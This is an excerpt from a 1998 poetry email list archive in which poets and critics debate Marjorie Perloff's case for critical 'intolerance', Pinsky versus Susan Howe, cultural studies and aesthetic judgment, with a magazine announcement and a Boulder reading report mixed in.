> *No easy answers but doing this this dialogue convinced me yet again that the only way to discuss these issues is to actually ANALYZE the work. So when Andrew Rathmann and others write in that we should read both Howe and Pinsky and be tolerant, I want to ask WHY? Since when has poetics been a question of tolerance? Was Pound tolerant? Was Stein? Blake? Samuel Johnson? Wordsworth? Walter Pater? Virginia Woolf? Cage? Baraka? Just remember Frank O'Hara's delightful dismissal of Robert Lowell! I want to suggest that, on the contrary, it's time to start being a bit intolerant and make the case for the poetry we believe in. I think that a decade of nominal multiculturalism has created an unfortunate situation where the main critical virtue seems to be TOLERANCE. But neither poetry nor criticism ever came out of tolerance; they are born out of opposition (to earlier poetries, rival poetries, political systems, forms of oppression), resistance, and --hard as it is to use the word at the moment-- discrimination.*
>
> *So--to come back to Pinsky--the only way to compare Howe to Pinsky is to take passages of poetry (better yet, whole books) and study them side by side. As Peter Quartermain reminded readers of this List a while ago, perhaps it's time for a little (pardon the term) Close Reading!*
>
> *Marjorie Perloff*

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694. **Michael W Bibby**

Re: A PS on the Tolerance issue

Sun 22 Nov 1998

I've been following the various permutations of this thread with great interest and Majorie Perloff's recent response has prompted me to step out of lurkdom and venture into the fray. As an "academic" and teacher, I am deeply concerned about this issue of "tolerance" vis a vis poetry/poetix. Granted poets feel very passionately about their poetix and, naturally, will "discriminate" in their choices of who they read, what they like, what they use, etc. But isn't it possible to also "study" poetry without making the kinds of value judgements Perloff & others on this list call for? I'm thinking, for example, of work I've been doing on the role of poetry in revolutionary movements. By most of the measures

articulated in this list's thread on the subject, this poetry would be considered "crap"--it's often not formally innovative (in the mod or postmod sense), it's declamatory, agit-prop, and it's often not even carefully written. But in contrast to what Perloff has just asserted, I would argue that some people most definitely NEED this poetry--the campesinos in the FMLN of El Salvador, the FRELIMO cadres of Mozambique, and the Sandinistas in Nicaragua certainly *needed* poetry at various moments in their struggles. This isn't to claim that these movements were "right" and, therefore, their poems are "good"--rather, what interests me is the ways in which poetry *does matter* to certain social groups during periods of historical/political struggle. There's a certain luxury involved in claiming that poetry makes nothing happen or that no one needs poetry--and it also strikes me that such claims serve to secure the institutional and ideological status of Poetry as luxury, conserving it as a right of the privileged.

Michael Bibby
Department of English
Shippensburg University
1871 Old Main Drive
Shippensburg, PA 17257
[redacted]

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695. **Joe Amato/Kass Fleisher**
Re: Oh Yeah!
Sun 22 Nov 1998

---

what i would ask of pinsky---AS poet laureate---is that he work to promote an (inclusive) understanding of poetry (which might not square well with his own practice as a poet)... i think it would be nice for our laureates to communicate a sense of how diverse poetry is, aesthetically *and* ideologically, how poetry is not simply about the dozen or so names one finds in the poetry section of waldenbooks, how poetry is not (as karen notes) simply about rhyme or songwriting or greeting card verse, how poetry is difficult and conflicted in fact, and anxiety-producing at times, how poetry is a matter of often heated debate (as hereabouts), how so many people give their lives to it, to the arts in general, and how so few of the many who labor for so long end up with the privilege of being named anything like "laureate"...

that's it---nothing more and nothing less... and that's a LOT, no?... but once in a position of relative power, and sanctioned by the government no less, i would think that what i'm asking of the poet laureate is appropriate... if he wishes to opine re what he likes/dislikes, i think---as laureate---his doing so must be

accompanied by a heightened awareness of his public privilege... that is, i would think he must come to terms, as laureate, with just how fortunate he is in having been given such public access (and yes, it's a job---but hey, what a job!)... i mean, heck, there's some responsibility that comes of being ensconced in that position... i certainly don't envy pinsky, or anyone, in that position, but i *do* hold anyone in that position largely accountable for what's done under its auspices...

pinsky-as-poet is, for me, an entirely different matter... or should be, and pinsky should attempt to make it so... and btw, i'm not certain *what* i think of pinsky's efforts to illustrate the "common person's" love of poetry... it seems to me that this can reinforce all sorts of normative views that really, in the end, continue to make poetry seem such a luxury, a realm of human idiosyncracies (incl. e.g. "genius") as opposed to something more elemental... but i don't wish here to start a debate about *that*...

still, perhaps we should be directing some of our talk at what, exactly, it means to have a "poet laureate" in the first place?... what responsibilities should be placed upon such an individual?... i don't find the laureate concept as such useless, however problematic, even if i'm certain that any particular nomination will likely be saturated with controversy...

best,

joe

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696. **ken|n|ing**

Kenning #3 / the autumn/winter 98 issue

Sun 22 Nov 1998

ANNOUNCING KENNING #3 THE AUTUMN/WINTER 1998 ISSUE $5.00/1 $9.50/2 ISSUE SUBSCRIPTION

NEW POETRY: Daniel Bouchard Standard Schaefer Sheila Murphy Charles Bernstein John Lowther Hoa Nguyen Peter Ganick Mark DuCharme Lisa Jarnot Ida Yoshinaga Mark Prejsnar Andrew Levy Gustaf Sobin Ray DiPalma

POETICS: Tina Darragh John Taggart

NON FICTION: Susan Smith Nash

INTERVIEW: Nathaniel Mackey

REVIEWS: Yedda Morrison's The Marriage of the Well-Built Head Jordan Davis' Poem on a Train

*as of this announcement, Kenning 1 & 2 are out-of-print; subscriptions begin with issue #3.

**future issues include work by such authors as Lyn Hejinian, Leslie Scalapino, Anselm Berrigan, Eileen Myles, Kathy Lou Schultz, Mac Wellman, and many others.

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****Kenning is published three times a year. subscribers, excluding institutions, receive the magazine in a loose-leaf format, as well as a hand-printed portfolio to accommodate several stacks. Note to contributors, your copies are on the way. | | k e n n i n g``` ```| ``` ``` a newsletter of contemporary |poetry, poetics, and non-fiction writing |418 Brown St. #10 Iowa City, IA 52245 USA

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697. **Joe Amato/Kass Fleisher**
Re: A PS on the Tolerance issue
Sun 22 Nov 1998

---

but michael b---and i take your point seriously---what you're calling for is exactly what's BEEN happening for so long now... this is what cultural studies has been doing, e.g.---looking at the value of various literary (and increasingly non-literary) production in cultural terms, for how consumption/reception of same supports/complicates specific sociocultural issues (of representation, say, or in more activist terms, of identity)...

i think the point is that, as unpopular as it may be to say it, judgment of an aesthetic sort is often lacking when the issue of cultural work is made paramount... to the point at which one wonders, e.g., what literary criticism may have to say to the *generative* issues that are at stake when one sits down to write a poem in the face of an overwhelmingly powerful marketplace that is so markedly unreceptive to that which challenges the status quo (however it does so)... now, there has to be a direction in which to take the aesthetic per se that's not simply reactionary, not simply a return to new criticism... while at the same time i *like* cultural studies, much of it, the provocation is that we find a way to proceed---not around---but *through* those insights...

which is why, e.g., i mentioned the situation in women's romance fiction... at the risk of being completely and obsessively redundant, let me cut & paste here two items from my prior posts (on the assumption that the snow squall of

posts---mea culpa---may have buried these thoughts, and that, again, this issue is sufficiently vital to repeat mself):

(1)
>witness, e.g., tania
>modleski's piece a week ago in _the chronicle of higher ed_ where she
>discusses (finally, and imho long overdue) problems with romance fiction
>[gasp!]... recall that modleski was among those (radway, others) who
>championed an analysis of such fiction as giving voice to women's issues
>(which they do, in fact---but they do other, less desirable things as
>well)...

addendum: and if you're trying to write what is now called "literary fiction"---well, you'll feel the influence of romance fiction that much more, if only b/c you now find yourself in this category!...

(2)
>esp. when i bump up against artifacts
>that emerge from cultural conditions of which i have limited knowledge, or
>esp. when i sense that my "status" (not ontologically, but socially) puts
>me in a problematic relationship vis-a-vis said artifact, i may do well to
>remain silent, listen, see if i can't hear a murmur unlike any i've heard
>before...

the latter hits on the issue you raise, michael... i think, e.g., that we must be esp. careful in *rushing* to judge a film like *smoke signals* (which btw, i like a LOT, whatever its flaws---a judgment that i won't unpack *here*)...

hope this makes sense, michael...

best,

joe

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698. **Mark Weiss**
Re: Rhetorics
Sun 22 Nov 1998

"Academic" in the context of poetry is a somewhat archaic synonym from the 50s thru 70s for Iowa School or, roughly speaking, "What Gets Published in the New Yorker." It has nothing to do with how poets make their livings. It's continued survival reflects the lack of a newer consensual term. "Academic" poets, by the way, never called themselves such.

Ron: Pinsky's performance is rather the opposite of what you suspect. No pretense to afflatus. More "anybody can do this, and it's good for you, although not all that important." A bit like Mr. Rogers.

At 08:37 AM 11/22/98 -0500, you wrote:
>I don't get my news much from TV, so haven't caught Pinsky's act on PBS, but
>I certainly have seen 10 or 15 poets in recent weeks do grand imitations of
>someone inhaling deeply so as to capture the inner spirit of some word, so
>it would appear to be having some visibility. Looks like an asthma attack of
>the heart or some such. Would it be different if we had Susan Howe in that
>role? I think it's arguable, not because Susan's not a better writer but
>because it's role, as I gather from my secondary sources, is to stand
>ineffably for The Poetic. What if it were Bob Holman or Patricia Smith or
>Meikel And in that seat?
>
>But I don't think you can have any sense of what a Susan Howe accomplishes
>if you don't read a Pinsky, at least with an anthropological view of it. So
>I do believe in the importance of checking in with that world, even if I
>read it intolerantly.
>
>By the bye, to acknowledge Peter Quartermain's grump about the trashing of
>the "academy," that's a term whose history and meanings certainly could
>stand a little unpacking. It is after all the same ideological state
>apparatus that has so famously shat upon the likes of Andy Levy and Joe
>Amato and literally hundreds of other good and competent people, and which
>leads to the creation of institutions such as the Academy of American Poets,
>but it also has other meanings as well. It is what enables and empowers
>other folks: Peter, Charles B (the absent father in Buffalo, as somebody
>referred to him recently), Bob Perelman, et al. I'd be curious to see what
>the breakdown of jobs is on the Poetics List, all 700 folks, since I suspect
>Peter's right that perhaps 500 are in some connection to the academy, but as
>one of the other 200, no, Peter, it's nothing like 100%.
>
>Ron
>
>

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699. **Mark Weiss**
Re: Marjorie Perloff is Wrong
Sun 22 Nov 1998

One more: critical stance rarely engenders. It usually follows from practice. But here's an uneducated hunch: in the period you target there was a lot of sentiment for the establishnment of a national literary voice, differentiated from the brits, for obvious reasons. Hence, perhaps, whatever degree of tolerance there may have been.

At 08:49 AM 11/22/98 -0500, you wrote:
>On Sun, 22 Nov 1998, mj devaney wrote:
>
>> Gabriel Gudding wrote:
>> >
>> > MP wrote:
>> > > >But neither poetry nor criticism ever came out of tolerance;
>> > > >they are born out of opposition (to earlier poetries, rival poetries,
>> > > >political systems, forms of oppression), resistance, and --hard as
it is
>> > > >to use the word at the moment-- discrimination.
>> >
>> > 1). Actually, this isn't true. Even a slight familiarity with American
>> > literary criticism during the first half of the 19C will show that
>> > without a turn toward a more tolerant kind of criticism, the burgeoning
>> > of letters known as the American Renaissance would certainly not have
>> > happened.
>>
>> But then:
>>
>> > 2). In his _The Origins of American Critical Thought, 1810-1835_
(1936),
>> > William Charvat declared the literature of American romanticism differed
>> > markedly from that of the British Romantics, attributing the
difference to
>> > the influence of a radically judicial strain of, as he called it,
>> > "Scotch-based" American criticism during that quarter decade.
>>
>> Doesn't this support Marjorie's point, since American romanticism here
>> is defined in opposition to British romanticism?
>>
>> --MJ Devaney
>

>To beat a dead donkey thread: No, Charvat said this, Walhout bettered
>Charvat's metaphor and research, and I'm saying that there is probably a
>relation btw the new open critical milieu (which Walhout takes not of) and
>that blossoming known as the Am Ren. I'm not "praising" hermeneutical
>criticism: I'm saying here's an instance of extreme critical openness and
>isn't it interesting that it coincides with a fascinating explosion of
>letters. Dead donkey oh it dead. I'm tired of these rifles. Whey da
>shotguns go? -- Gigi
>
>

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700. **Mark Weiss**
Re: Oh Yeah!
Sun 22 Nov 1998

I got you. Of course Howe and Oinsky are not the only choices. Niedecker might have steered her in the right direction and been an easier first swallow.

Just caught the Oinsky above. An accident, but I'll keep it.

At 08:59 AM 11/22/98 -0800, you wrote:
>Okay, here's a question:
>
>Yesterday morning my neighbor corralled me in the carport to ask about poetry.
>Apparently she's always tried to write, but could never "get it to rhyme." Okay,
>simple answer: "It doesn't have to. Write what you want."
>
>She didn't ask me who she should read, but in perusing this thread, I wonder: if
>she had said to me, *Hey, should I read this guy Pinsky, or this Susan Howe
>chick?* what would I have said? I think I would have leaned toward Pinsky,
>throwing in a few caveats.
>
>Coincidentally, tolerance is a big thread on the women's bodybuilding list I
>subscribe to: fitness shows or bodybuilding contests: which is destroying the
>fiber of our beloved sport? Heading on one post: "It's all good." Chalk one up to
>hevily-muscled tolerance.
>
>

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701. **Mark Weiss**

Re: A PS on the Tolerance issue

Sun 22 Nov 1998

Right. A given artfact in a different context is a different artifact. And the same artifact can be the object of study of different disciplines. Doesn't much impact the argument in this discipline and context.

At 12:48 PM 11/22/98 -0500, you wrote:
>I've been following the various permutations of this thread with great
>interest and Majorie Perloff's recent response has prompted me to step out
>of lurkdom and venture into the fray. As an "academic" and teacher, I am
>deeply concerned about this issue of "tolerance" vis a vis poetry/poetix.
>Granted poets feel very passionately about their poetix and, naturally,
>will "discriminate" in their choices of who they read, what they like,
>what they use, etc. But isn't it possible to also "study" poetry
>without making the kinds of value judgements Perloff & others on this list
>call for? I'm thinking, for example, of work I've been doing on the role
>of poetry in revolutionary movements. By most of the measures articulated
>in this list's thread on the subject, this poetry would be considered
>"crap"--it's often not formally innovative (in the mod or postmod sense),
>it's declamatory, agit-prop, and it's often not even carefully written.
>But in contrast to what Perloff has just asserted, I would argue that some
>people most definitely NEED this poetry--the campesinos in the FMLN of El
>Salvador, the FRELIMO cadres of Mozambique, and the Sandinistas in
>Nicaragua certainly *needed* poetry at various moments in their struggles.
>This isn't to claim that these movements were "right" and, therefore,
>their poems are "good"--rather, what interests me is the ways in which
>poetry *does matter* to certain social groups during periods of
>historical/political struggle. There's a certain luxury involved in
>claiming that poetry makes nothing happen or that no one needs
>poetry--and it also strikes me that such claims serve to secure the
>institutional and ideological status of Poetry as luxury, conserving it as
>a right of the privileged.
>
>Michael Bibby
>Department of English
>Shippensburg University
>1871 Old Main Drive
>Shippensburg, PA 17257
>[redacted]

>[redacted]
>
>

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702. **Christopher Reiner**
tolerance
Sun 22 Nov 1998

I'd rather deal with the idea of advocacy--which, as an editor of a journal of criticism and reviews, I've decided to advocate. I've never published a bad review of a book in Witz...and I've gone back and forth in my own mind about it, but I guess I'm more interested in why someone likes a book than why they don't. Which is not to say I haven't learned a lot from bad reviews (Pauline Kael's pans were usually more interesting than her praises), but I think of Witz as an advocate for risky contemporary writing. It's not a matter, for me, of tolerance vs. intolerance. If you like something, you want to tell everybody, to hell with restraint or objectivity. (And that doesn't mean you have to ignore the weaknesses in the work.)

Oh, and when you do decide to write that review or essay...send it to Witz.

--Chris Reiner

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703. **Bob Grumman**
Re: tolerance
Sun 22 Nov 1998

Robert Archambeau thinks "Pinsky has written sympathetically about poets quite different from himself (Oppen, Ashbery and Creeley, for example)."

Yow, yet another critic, like David Lehman, who has gotten all the way to c in the alphabet of contemporary poets!

--Bob G.

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704. **Donald Wellman**
Re: tolerance
Sun 22 Nov 1998

For me, "tolerance" comes into play when politics (in a fairly narrow sense) comes into play. The poet laureate is a political appointment, supposedly he should be "tolerant" and others should feel free to attack or praise. "Academic"

too is a politically charged word from the poetry wars of the 50's. I'd like to think those wars were a reflection of the broader cold war dynamic--that we need no longer defend an active counter-tradtion (one opposed to the mainstream) and could instead define work in relation to what it does. I would also like to think that what "it" does bears some relation to the language form on the page, but I am suspicious of any attempt to classify poetry by appearance alone. I think to that degree at least a detente exists within the sphere of literary politics.

Now it also so happens that those forms of tolerance and those notions of freedom advanced above are part of a humanistic ideology. Feeling the sometimes censorial brunt of that ideology, I am capable of making the argument that I believe was at the heart of "The Politics of Poetic Form," that one function of poetics is to test even the most seemingly benign forms of emancipatory discourse. It is poetry that does that testing that most interests me, that is my meaning of "what it does" -- as opposed to a lot of self-congratulatory hogwash about how great and tolerant we have become. I get very risible when I see self praise of any "us" --even when it appears on this list.

"Tolerance" has threaded itself into the language of poetry and science as a way of coping with uncertainty and maintaining propriety. I'd rather get a little naked about the facts of estrangement from time to time -- that is the condition I would like to celebrate, but then I am also entirely aware of how wearying that can be given the lack of any criteria for the value of distraction, still I'd rather not wear the weary face of tolerance myself -- that can be really harmful when I meet a young poet excited by Rita Dove or whatever. At least Rita speaks for someone and something other than a vast diffidence, even if she doesn't speak to me. That young poet might be able to speak to me and in so far as I appear only tolerant whoosh--no conversation.

don wellman

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705. **Michael W Bibby**

Re: A PS on the Tolerance issue

Sun 22 Nov 1998

Joe:

Point well taken--but:

Although you say that the cultural studies approach to poetry has been "happening for so long now," I fail to see very much of it at all in poetry studies. In fact, the preponderance of critical work published in the major academic journals and read at major conferences (e.g., MLA) I feel tends to be of the

judgmental type, and largely seems interested in theorizing/analyzing the very issues of aesthetic criteria you address in the second para. of your post. I think, however, that more work needs to be done on articulating aesthetics from the ground up (so to speak)--that is, I would like to see more poetry studies devoted to *studying* what values, modes, styles, attitudes, beliefs, etc. of specific social groups form their specific aesthetics in particular historical moments. In other words, I would question whether there is an "aesthetics per se," and that my problem is with universalizing what is ultimately local. Which is not to say that I want to chuck the concepts of valuation, judgement, aesthetics--but simply that I'd like to localize them in ways that help me appreciate how an aesthetix/poetix might have a *particular* value for specific groups. This necessarily calls for close reading--and certainly of the kind Perloff advocates. Someone else on the list (can't recall right now who) cited Busta Rhymes and this led to a string of musings about "jump-rope rhyme" and black vernacular expressive modes--yet until very recently poetry criticism had little in the way of an adequate critical apparatus to talk intelligently (rather than just dismissively) about the "poetics" of such forms of expression until people started trying to figure out what poetics was specific to these forms. Obviously, at some point, this kind of poetry studies may call for critical judgement, but it seems to me more convincing because its judgement may be based on values intrinsic to the social contexts for the poetry's production, and hence, more respectful of its audiences, their needs, their values, etc.

But ultimately my real concern is with the ways in which certain people in certain times *need* poetry--and certain kinds of poetry. The kind of brechtian/poundian/olsonian avant-gardist poetry as defamiliarization stuff might certainly serve the needs of certain social groups in certain times--it obviously didn't mean much to the New Critical academics of the 40s and 50s, but it means much more to a professional class of poetry critics today. I just don't see any reason--as a teacher, student of poetry, to universalize this poetix and see any other poetix as "intolerable."

Michael Bibby
Department of English
Shippensburg University
1871 Old Main Drive
Shippensburg, PA 17257
[redacted]

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706. **Billy Little**
Re: tolerance
Sun 22 Nov 1998

I'll second Chris' emotion, there aren't enough hours in the day to write all the praise of new poets and masters, friends and strangers, wordsworths and rilkes, i want people to know about these writings so they'll go out and read them for themselves, a really bad book i might go out of my way to publish a two line warning ala dotty parker, charlie's uncle, or who said romance w/o finance aint got no chance, was it Prez? believing with Louis B. Mayer? as long as you spell the name right it's all good publicity Pinksky's propably chuckling over how much promotion he's been getting from this list, some non=members just gazing over the archives subject lines might imagine we think the laureate is the new creeley, and the correspondance with howe the new mayan letters. is there any need to rewrite that.

billy little
4 song st.
nowhere, b.c. V0R1Z0
[redacted]

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

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707. **Susan Schultz**
Re: A PS on the Tolerance issue
Sun 22 Nov 1998

Dear Marjorie and others on the in/tolerance thread--

OK, I'll re-enter the fray--I'm not sure I agree that no one NEEDS poetry. I have students for whom the first experience in their lifetimes of reading a poem "about them" (as they put it) is a transformative one, whether the poem is by Lois-Ann Yamanaka, Haunani-Kay Trask, Joe Balaz, or other local or Hawaiian writer--or Caribbean writer. Literature matters in a place where literature has historically been in import rather than a local industry. Now I may surely try to nudge students by showing them that there is poetry "out there" that is less narrative in structure, less transparent in language, than, say, Yamanaka's, but I'm not about to tell them that their reaction is to something less aesthetically valuable than Susan Howe's work, much as I (who perhaps do not need poetry as much--though I do, actually) prefer the latter in my own experience. As for

Howe: I taught her last week to a group of exceptionally fine undergraduate honors students. They liked her work, but they also honed in on the contradiction between her desire to give voice to women and to Native Americans. I mean, try telling a group of non-white students, some of them native Hawaiian, that Mary Rowlandson is a heroic figure. They see the native Americans painted as "savage" and it's damn hard to pull them back into the world where being a white woman lost in the wilderness is a terrifying thing. Or where being a woman writer is a radical move.

That's why, to my mind, we must think of there being various kinds of experiments and innovations. Different people need different experiments, and their needs change (often radically) over time. It's instructive to see "white writers" regarded as the "same old same old," no matter how radical they are and minority writers presented as revolutionary when it's more a question of content than of form. Intolerance works in mysterious ways.

This is not to say that I don't make value judgments of my own. It is to say that I refuse (or try to refuse) to make them for others, especially when their daily poetic requirements are so different from my own. It does not mean that I don't feel passionately about poets I care about; I just don't want to deny that feeling to people whose passions are different. It also means that my priorities shift when I change my hats from teacher to critic to writer (but that my hair remains mussed with the impress of all of them).

all my best, Susan Schultz

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708. **nuyopoman**
Pinsky/Howe
Sun 22 Nov 1998

<< Joe Amato writes: to distinguish among works that aim simply to entertain (which may be fine in itself), and works whose reach exceeds their grasp (if you get my drift)...>>

The dynamic “to entertain” is not intellectually inhibiting, but rather the reverse, if you accept that poetry (“language in gear”) can’t be “simply” anything. “Reach exceeding grasp” PLUS “entertaining” ah! there’s the equation.

Where do you find that synapse zap? seems to be Marjorie’s rallying cry, “it's time to start being a bit intolerant and make the case for the poetry we believe in” and how can we further it? Marjorie, do you give Howe a 9.8 and Pinsky a 3?

For me, I must tell you, my tastes aren’t always the same. Late at night I squeeze into some ED, and in the morning it’s DJ Renegade.

Seeing how a poet moves from book to book as we grow older! exciting to see poet grow or falter, crash against poetry's possibilities, scratch onto shore of one's own whirring. I've been dead wrong about poets -- heard a poet read who seemed standard victimization rash, only to check in a year later to hear the perky vocab and personae flips that marked a real poet up there.

Hmm. I guess my question is, Is Poetry itself the agenda? Off this list, most people I know think of Pinsky/Howe as being in same boat.

To be "intolerant" of someone's poem, how do you do that?

Bob Holman

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709. **Joe Amato/Kass Fleisher**
Re: A PS on the Tolerance issue
Sun 22 Nov 1998

---

well this thread has most obviously hit a nerve in me...

michael, again, i won't tread in the in/tolerable waters, b/c that's not me...

when i used "aesthetic per se," i meant to denote emphasis... as opposed to "politics per se"... i'm certainly not suggesting "aesthetics" is, in actuality, completely bracketed from "the world"... but i have to say, michael---when you call me on this point, i begin to think that i'm dealing more with a critic than with a poet... i mean zero insult in saying this---i value good writers/writing of whatever genre---but i'm trying to be candid, to tell you what i candidly think... had i written "politics per se," would you have called me on *that*?... my hunch is no, but i may be wrong... and can we really operate---as critics OR poets or whatever---as though there are no differences twixt the aesthetic and the political, as though at no point in time might we be able to discuss primarily one and not the other?...

how do poems get written?...

also, i didn't mean to say that we've had, for years, tons o cultural-studies influenced work in poetry... quite the contrary, as you indicate... and some of the folks on this list (to name but two, maria d and aldon n, apologies to the unnamed) have done some stellar work on same...

but let me be a bit strident: is the point now that cultural studies is to turn its attention to poetry, finally, and do *only* what it's been doing right along?... i'd like to think not, for all of the reasons posted prior, and then some (and here i must observe that much of my own work is directed at examining/enacting something quite a bit different---though i'd *never* offer anything i do as a

model for future work... which is to say, i have vested interests in so asserting)...

still, i like your post, michael... when you write

> *But ultimately my real concern is with the ways in which certain people in certain times *need* poetry--and certain kinds of poetry.*

i want to ask, with some (rhetorical) urgency, "certain people in certain times" refers to poets too, right?... you mean to say, among other things, that we might look at the question of writing culture(s), using as an example practicing poets?... but in any case, how would we go about designating what's important enough to fall under our gaze?... would we simply assign "importance" on the basis of what a specific group seems to "need"? (i'm not arguing against doing so)... how would one go about choosing said group?... at the same time, would we focus on aesthetic criteria (will you allow me this latter?) that we find manageable critically, and would this manageability speak to what's "important" for those who are, as well as those who are not, poets?... i've found that many critics develop and deploy such criteria almost tacitly (i.e., when they *do* account for their choices)... and i've found that many poets i've known do the same... but when you find that your life's work is difficult to publish, is generally not grasped by your family, falls on deaf social ears, etc. etc. etc.---well, you can ill afford NOT to know where you stand, aesthetically OR politically... and this is a measure at times of what *poets* deem important (---which, again, is not an either/or proposition in any of its implications, but helps to draw out some of the angst on this list re more orthodox work... thing is, around here, "orthodox" is sometimes misapplied [he sez] to more formally conventional work that nonetheless poses its own challenges)...

this is what's going through my mind when i read your helpful post, michael, and i think the provisional answers i'm seeking will have much to do with what comes out of my pinkies when i sit down to write (poetry, i mean)... i don't believe, either, that accounting for one's aesthetic judgments is necessarily a matter of universalizing---no question that one can remain constructively plural in appreciating and negotiating multiple aesthetics (in context)... one issue has to do with how resilient one can be at inhabiting multiple genres and inclinations---this is the case even in a more political sense (e.g., i may hold to a cherished operating construct---such as justice, in my case---through which i wish to work out critical evaluation)... further, local value is never merely local in the hands even of a great critic, i would venture---it's always a value-added activity, if only b/c critics in general, as critics, operate from outside of a particular (artistic) discourse... there may be sound political reasons not to appreciate specific aesthetic qualities (the bind of participating even as reader in a fascist-derived art form, say)---and again, no doubt in my mind that those selfsame qualities may be desirable in another context... yet all of this, all of it, still

constitutes (among other things), in its selectiveness and allegation of value---in a word, judgment... it just can't be that we continue to interpret and remark and comment (as scholars or critics) w/o at the same time exhibiting our likes and dislikes (and i wish i'd written that last sentence w/o any residual oppositionality, but to riff a bit on raymond williams, emergent forms that provide opposition, and not merely alternative possibilities, are also of value, esp. in a consumer culture such as ours)...

in any case, again---i would think it imperative that rendering judgment be conducted with great care, as in any worthwhile reckoning... what i object to is the apparent absence of (aesthetic) judgment, of the (almost transcendental) critical move that takes us completely away from the generative controversies of a given body of work to its (popular) reception, with little discussion of how the work does the cultural work it does, how it creates/reinforces (in its readership) specific experiences... this must of necessity be a matter both of formal complexities (or lack of same!) as well as cultural context---and i trust i'm not just 'western man' speaking here... in fact the situation in romance fiction, to come back to a fairly clearcut example, reveals that critics (critics who in fact *have* spelled-out their political motivations) have *not* been asking the aesthetic questions, as these relate to sociopolitical context---they were more interested in salvaging a specific body of work that spoke to women (fine in itself) w/o asking whether such work exploits zillions of women through recourse to conventional narratives and narrative form... that is, this latter constitutes the reading experience, which surely corresponds to why such books get written (and published) in the first place...

btw, i entirely understand and appreciate christopher r's desire to hear about what's good, as opposed to what's not-so-good... i would add only that critique is a complicated affair, as i'm sure christopher is well-aware, and that going after what's good is bound to be as messy, in the long run, as going after what's bad... b/c if it's not just a matter of how popular a work may be with _____, it's also not just a matter of how *formally* innovative or complacent it may be, either...

best,

joe

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710. Kathleen Crown
: Re: Marjorie Perloff Has a Point
Sun 22 Nov 1998

Susan Schultz's comments make a lot of sense to me, and I hope for more "dialogues" of the kind that Marjorie Perloff describes. When I was surveying recent

books on feminism and contemporary poetry, I found that the more inclusive books (such as Lynn Keller's) made the most valuable observations. The ones that got in the most trouble were those that limited the work under consideration to a single poetics favored by the author. For example, Kim Whitehead's book, _The Feminist Poetry Movement_, discussed a stylistically narrow range of voice-based lyrics (by Rich, Jordan, Anzaldua, etc). This allowed her to make claims about women poets' need first to "find a woman-self," next to experiment with form and genre, and finally to return to personal experience (ie, first-person lyric) to achieve a feminist or "coalitional voice." If Whitehead had broadened her vision to include the work of such poets as Fraser and Howe she could not have made those claims so easily.

Casting a wide net does not necessarily mean one relinquishes the critical faculty. Indeed, it could just as easily be viewed as a critical responsibility. I think Keller, for example, "discriminates" among the wide range of poetry that she analyzes. Just because one wants to make room for "everything possible for poetry" (as Rich put it at the Poetry and Public Sphere conference) does not mean that "anything goes."

A note on what critics find compelling in Susan Howe's work: Andrew points out that trauma & witness are hot topics now (though why not in poetry? that's work that needs to be done). But what I see critics shrinking from discussing in any detail is Howe's linkage of the experiential, archival, and testimonial with a rhetoric of ecstasy, vision, and possession. Howe argues for an suppressed but still available enthusiastic legacy, which she sees as radically disturbing to most academics (eg, the keepers of the manuscripts). --Kathy Crown

Susan Schultz wrote:

>So I like Marjorie Perloff's passion; I love the poets she loves
(though she
says she can't abide Riding!); I prefer her poets to members of the
Pinsky
team. But I also cherish the notion of tolerance--perhaps because I
have to.
It's always worth talking to each other--even when we have very little
to say.

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Susan Schultz's comments make a lot of sense to me, and I hope for more "dialogues" of the kind that Marjorie Perloff describes. When I was surveying recent books on feminism and contemporary poetry, I found that the more inclusive books (such as Lynn Keller's) made the most valuable observations. The ones that got in the most trouble were those that limited the work under consideration to a single poetics favored by the author. For

example, Kim Whitehead's book, _The Feminist Poetry Movement_, discussed a stylistically narrow range of voice-based lyrics (by Rich, Jordan, Anzaldua, etc). This allowed her to make claims about women poets' need first to "find a woman-self," next to experiment with form and genre, and finally to return to personal experience (ie, first-person lyric) to achieve a feminist or "coalitional voice." If Whitehead had broadened her vision to include the work of such poets as Fraser and Howe she could not have made those claims so easily. <p>Casting a wide net does not necessarily mean one relinquishes the critical faculty. Indeed, it could just as easily be viewed as a critical responsibility. I think Keller, for example, "discriminates" among the wide range of poetry that she analyzes. Just because one wants to make room for "everything possible for poetry" (as Rich put it at the Poetry and Public Sphere conference) does not mean that "anything goes." <p>A note on what critics find compelling in Susan Howe's work: Andrew points out that trauma & witness are hot topics now (though why not in poetry? that's work that needs to be done). But what I see critics shrinking from discussing in any detail is Howe's linkage of the experiential, archival, and testimonial with a rhetoric of ecstasy, vision, and possession. Howe argues for an suppressed but still available enthusiastic legacy, which she sees as radically disturbing to most academics (eg, the keepers of the manuscripts). --Kathy Crown <p>Susan Schultz wrote: <p>>So I like Marjorie Perloff's passion; I love the poets she loves (though she
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711. Laura E. Wright
boulder poetry
Sun 22 Nov 1998

Well, as Rachel accidentally informed us, we do have poetry in Boulder. Here's some of what's been happening lately (sorry for the lack of quotes, I neglected to take notes).

As part of the Museum of American Poetics' ongoing lecture series, Lisa Jarnot gave a talk Tuesday (Nov. 17) on Robert Duncan. While the focus was originally to have been on heroic figures in Duncan's life and work, she decided instead to focus on _The Opening of the Field_ and ended up covering both admirably.

A tape of this talk should eventually be available on the Museum of American Poetics Web Site (www.poetspath.com/)

Wednesday night, we were graced with a reading by Michael Friedman and Anne Waldman, the latest installment of the inimitable Left Hand Reading Series. Michael read prose poems of a beautifully bizarre yet almost quotidian nature. Anne read part of a recently-unearthed supposedly ancient collaboration with Bill Berkson -- a wild lovely commentary on growing up in New York, and a variety of new work, including an excerpt from "Marriage, a poem" and a new section of Iovis that will soon be scored as opera. Many thanks to Mark DuCharme and Patrick Pritchett for keeping the Left Hand series alive. (And yes, Bobbie West's reading here was fabulous.)

--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

"Speech keeps strangling itself, but wisdom has not come."
--Henri Michaux

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712. **Henry Gould**
what is tolerance of thread?
Sun 22 Nov 1998

